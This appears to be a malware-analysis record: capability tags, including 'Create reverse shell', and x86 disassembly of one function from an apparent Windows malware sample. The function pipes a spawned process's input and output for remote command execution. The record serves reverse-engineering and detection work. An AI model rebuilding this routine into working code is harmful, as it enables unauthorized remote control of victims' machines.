Function at 0x40569a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x475ca8]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x4056ec
mov ebp, 0x475ca8
push ebp
call fcn.00433e04
pop ecx
cmp dword [0x475ca8], esi
jne 0x4056ec
push ebx
mov ecx, 0x475c08
call fcn.004046f7
push 0x4579a7
call fcn.0043418e
pop ecx
push ebp
call fcn.00433dc5
pop ecx
mov eax, dword [0x475c88]
cmp eax, dword [edi + 4]
jle 0x405729
mov edi, 0x475c88
push edi
call fcn.00433e04
pop ecx
cmp dword [0x475c88], esi
jne 0x405729
mov ecx, 0x475cb0
call fcn.004020df
push 0x45799d
call fcn.0043418e
pop ecx
push edi
call fcn.00433dc5
pop ecx
lea ecx, [esp + 0x20]
call fcn.004020df
mov ebp, 0x473f78
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0x471ae6], bl
jne 0x4058a9
mov edx, 0x465098
mov ecx, ebp
call fcn.00405b05
test al, al
je 0x40589d
push 0x4650a0
call fcn.0043ba9a
pop ecx
mov ebp, 0x475cb0
push eax
mov ecx, ebp
call fcn.00405aa6
push 0x4650ac
mov ecx, ebp
call fcn.0040537d
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0x475bb0
push ebx
push ebp
push 0x475c8c
push 0x475ca4
mov dword [0x475bb0], 0xc
mov dword [0x475bb8], 1
mov dword [0x475bb4], ebx
call esi
test eax, eax
je 0x405a4f
push ebx
push ebp
push 0x475cac
push 0x475c90
call esi
test eax, eax
je 0x405a4f
push 0x44
pop esi
push esi
push ebx
mov ebp, 0x475bc0
push ebp
call fcn.004368a0
add esp, 0xc
mov dword [0x475bc0], esi
xor eax, eax
mov dword [0x475bec], 0x101
mov word [0x475bf0], ax
mov ecx, 0x475cb0
mov eax, dword [0x475ca4]
push 0x475c94
mov dword [0x475bf8], eax
mov eax, dword [0x475cac]
push ebp
mov dword [0x475bfc], eax
mov dword [0x475c00], eax
call fcn.00401fab
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0x473f78
push ebx
mov ecx, ebp
call fcn.00401fab
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0x465094
setne byte [0x471ae6]
call fcn.00405aa6
mov esi, 0x475c08
mov byte [0x471ae7], 1
mov ecx, esi
call fcn.0040482d
push ecx
mov ecx, esi
call fcn.004048c8
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004020f6
push 0x93
mov ecx, esi
call fcn.00404aa1
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471ae6], bl
je 0x405a2d
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x475c90]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0x405977
push dword [esp + 0x18]
call fcn.0043b715
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0x475c90]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0x405969
cmp dword [esp + 0x14], ebx
jbe 0x405934
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00401fab
push eax
push ebp
call fcn.0043b720
add esp, 0xc
test eax, eax
jne 0x405934
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402093
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
sub esp, 0x18
mov ecx, esp
push eax
push dword [esp + 0x30]
jmp 0x405948
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push dword [esp + 0x34]
push ebx
lea eax, [esp + 0x58]
push eax
call fcn.00405aab
push 0x62
mov ecx, 0x475c08
call fcn.00404aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fd8
push ebp
call fcn.0043b710
pop ecx
mov ebp, 0x473f78
jmp 0x405994
sub esp, 0x18
mov ecx, esp
push 0x465094
call fcn.00402093
push 0x62
mov ecx, 0x475c08
call fcn.00404aa1
mov esi, eax
movzx eax, byte [0x471ae7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0x471ae7], al
call fcn.0040247c
test eax, eax
je 0x4059f8
push 0x4650b0
mov ecx, ebp
call fcn.0040537d
push ebp
lea ecx, [esp + 0x24]
call fcn.00401fc0
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.0040247c
push eax
mov ecx, ebp
call fcn.00401fab
push eax
push dword [0x475c8c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x465094
mov ecx, ebp
call fcn.00405aa6
jmp 0x4059fc
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471ae7], bl
jne 0x4058a9
push ebx
push dword [0x475c94]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x475c98]
call edi
push dword [0x475c94]
call edi
mov ecx, 0x475c08
call fcn.00404e26
push dword [0x475c90]
call edi
push dword [0x475cac]
call edi
mov byte [0x471ae6], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret